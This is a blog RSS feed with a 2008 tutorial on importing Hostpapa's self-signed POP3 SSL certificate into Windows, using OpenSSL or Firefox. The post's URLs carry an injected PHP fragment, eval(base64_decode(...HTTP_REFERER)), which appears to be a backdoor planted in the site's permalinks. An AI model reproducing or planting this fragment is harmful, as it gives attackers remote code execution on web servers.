<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Friedrich&#039;s Blog &#187; self-signed certificates</title>
	<atom:link href="http://brunzema.com/blog/tag/self-signed-certificates/feed/" rel="self" type="application/rss+xml" />
	<link>http://brunzema.com/blog</link>
	<description>Life, the universe and all.</description>
	<lastBuildDate>Fri, 23 Apr 2010 18:02:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Configuring Hostpapa POP3 email with SSL using Outlook &#8211; Fixing SSL &#8220;self-signed certificate&#8221; errors</title>
		<link>http://brunzema.com/blog/2008/12/13/configuring-hostpapa-pop3-email-with-ssl-using-outlook-fixing-ssl-self-signed-certificate-errors/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brunzema.com/blog/2008/12/13/configuring-hostpapa-pop3-email-with-ssl-using-outlook-fixing-ssl-self-signed-certificate-errors/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 13 Dec 2008 23:50:11 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Computers - General]]></category>
		<category><![CDATA[POP3]]></category>
		<category><![CDATA[self-signed certificates]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=91</guid>
		<description><![CDATA[So you have decided to use SSL with POP3 to get your email from your Hostpapa- hosted site. The cPanel control panel gives you instructions on how to tell Outlook how to do this, and it is left as an exercise for the reader. Once everything is configured and you actually connect to the POP3 [...]]]></description>
			<content:encoded><![CDATA[<p>So you have decided to use SSL with POP3 to get your email from your Hostpapa- hosted site.  The cPanel control panel gives you instructions on how to tell Outlook how to do this, and it is left as an exercise for the reader.</p>
<p>Once everything is configured and you actually connect to the POP3 box, Windows/Outlook gives you an error message telling you:</p>
<p>"The server you are connected to is using a security certificate that could not be verified. A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider. Do you want to continue using this server?"</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring14.jpg" alt="121308 2349 configuring14 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>So what is really happening?  SSL certificates are weird things – the way I understand them is that when you buy a certificate from a Certification Authority like Verisign, the certificate that you get points to a root certificate from Verisign.  That Verisign root certificate (and other root certificates from other certification authorities is installed by default by Microsoft.  When your computer makes a connection via SSL to the server, it can and does check the server's certificate.  Following the chain of certificates to the root, it finds the Verisign Root certificate.  Since this certificate matches the root certificate already installed, everything is good.</p>
<p>Why are we getting that self-signed certificate error, then?  What happened is that it is possible for people to generate a certificate that is self-signed, meaning it does not link to a trusted Certification Authority.  In this case, the root certificate does not match anything on the system, and a warning message is displayed. Hostpapa must have just used self-signed certificates, making things harder for the users.</p>
<p>I have found two different methods to get the certificate, either using OpenSSL or using Firefox 3.  I'm sure there are others, but both of these methods work.</p>
<h1>Method#1 to get the Certificate: Using OpenSSL</h1>
<p>Download <a href="http://gnuwin32.sourceforge.net/packages/openssl.htm">OpenSSL</a> for Windows and install it:</p>
<p>Open a command line prompt (start-&gt;run-&gt;cmd)</p>
<p>At the command prompt (c:\&gt;) type:</p>
<p><span style="font-size:14pt"><br />
</span><span style="font-family: Courier New;">cd \program files\gnuwin32\bin<br />
</span></p>
<p>Then type in the following commands:</p>
<p><span style="font-family: Courier New;">openssl s_client -connect <span style="background-color:yellow">hp12.hostpapa.com</span>:995 &gt; file.txt<br />
</span></p>
<p>[replace <span style="background-color:yellow">hp12.hostpapa.com</span> with the server name showing in cPanel]</p>
<p>Ctrl+C (to exit the program)</p>
<p><span style="font-family: Courier New;">openssl x509 -in file.txt -outform DER -out hostpapa.der<br />
</span></p>
<p><span style="font-family: Courier New;">start hostpapa.der<br />
</span></p>
<p><span style="font-family: Courier New;">This starts the certificate import wizard.<br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring24.png" alt="121308 2349 configuring24 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /><span style="font-family: Courier New;"><br />
</span></p>
<p><span style="font-family: Courier New;">Click Install Certificate<br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring34.png" alt="121308 2349 configuring34 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /><span style="font-family: Courier New;"><br />
</span></p>
<p><span style="font-family: Courier New;">Click Next<br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring44.png" alt="121308 2349 configuring44 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /><span style="font-family: Courier New;"><br />
</span></p>
<p><span style="font-family: Courier New;">Click Next<br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring54.png" alt="121308 2349 configuring54 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /><span style="font-family: Courier New;"><br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring64.png" alt="121308 2349 configuring64 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /><span style="font-family: Courier New;"><br />
</span></p>
<h1>Method #2 for getting the SSL Certificate, using only Firefox</h1>
<p>You will need the Firefox 3 web browser installed for this to work.  Note the number of dialogs and clicks required to get you where you want.  You will feel like a criminal doing this but it is perfectly legitimate and safe.</p>
<ol>
<li>Open your Firefox browser, in url box type about:config and press enter.</li>
<li>In next screen you will get a warning message click on "I will be careful, I promise!" button.</li>
<li>In next screen search for "network.security.ports.banned.override".</li>
<li>If this string is not there write click anywhere in the firefox text window and click on new and then select string.</li>
<li>You will get a box says " Enter the preference name" in its text box give the name "network.security.ports.banned.override" and press ok.</li>
<li>In next screen you have to give the string value. This string value is port number of your port.</li>
<li>If you want to allow all port then please give 0-65535. It will allow all the port. If you want to give some specific port then you can give those specific port using comma separated value example 101, 102, 103 etc.  Choose only 995 for HostPapa, because POP3 SSL runs on this port</li>
<li>
<div>Start Firefox and enter the following URL: <a href="https://hp12.hostpapa.com:995">https://hp12.hostpapa.com:995</a></div>
</li>
</ol>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring71.png" alt="121308 2349 configuring71 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Click "Or you can add an exception"</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring81.png" alt="121308 2349 configuring81 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Click Add an exception</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring91.png" alt="121308 2349 configuring91 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Click Get Certificate</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring101.png" alt="121308 2349 configuring101 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Click View, select the Details tab</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring111.png" alt="121308 2349 configuring111 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Click Export</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring121.png" alt="121308 2349 configuring121 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Choose x.509 Certificate, click save, and close all the Firefox dialogs</p>
<p>Double Click the hp12.hostpapa.der certificate, and choose to install the certificate. Method #1 shows the dialogs on Windows Vista that show up when importing the certificate.</p>
<p>Note that you are importing the certificate only for the current user.  If you want to import for all users on the machine, you must use the MMC</p>
<p>Start-&gt;Run-&gt;MMC.exe</p>
<p>File-&gt;Add /Remove SnapIn -&gt; Locate Certmgr.msc in c:\windows\system32</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring131.png" alt="121308 2349 configuring131 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Indicate Local machine</p>
<p>Open ConsoleRoot-&gt;Certificates(LocalComputer)-&gt;Trusted Root Certification Authorities-&gt;Certificates</p>
<p>Right-click on Certificates-&gt;All Tasks-&gt;Import</p>
<p>Follow the wizard to import the saved certificate</p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/12/13/configuring-hostpapa-pop3-email-with-ssl-using-outlook-fixing-ssl-self-signed-certificate-errors/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

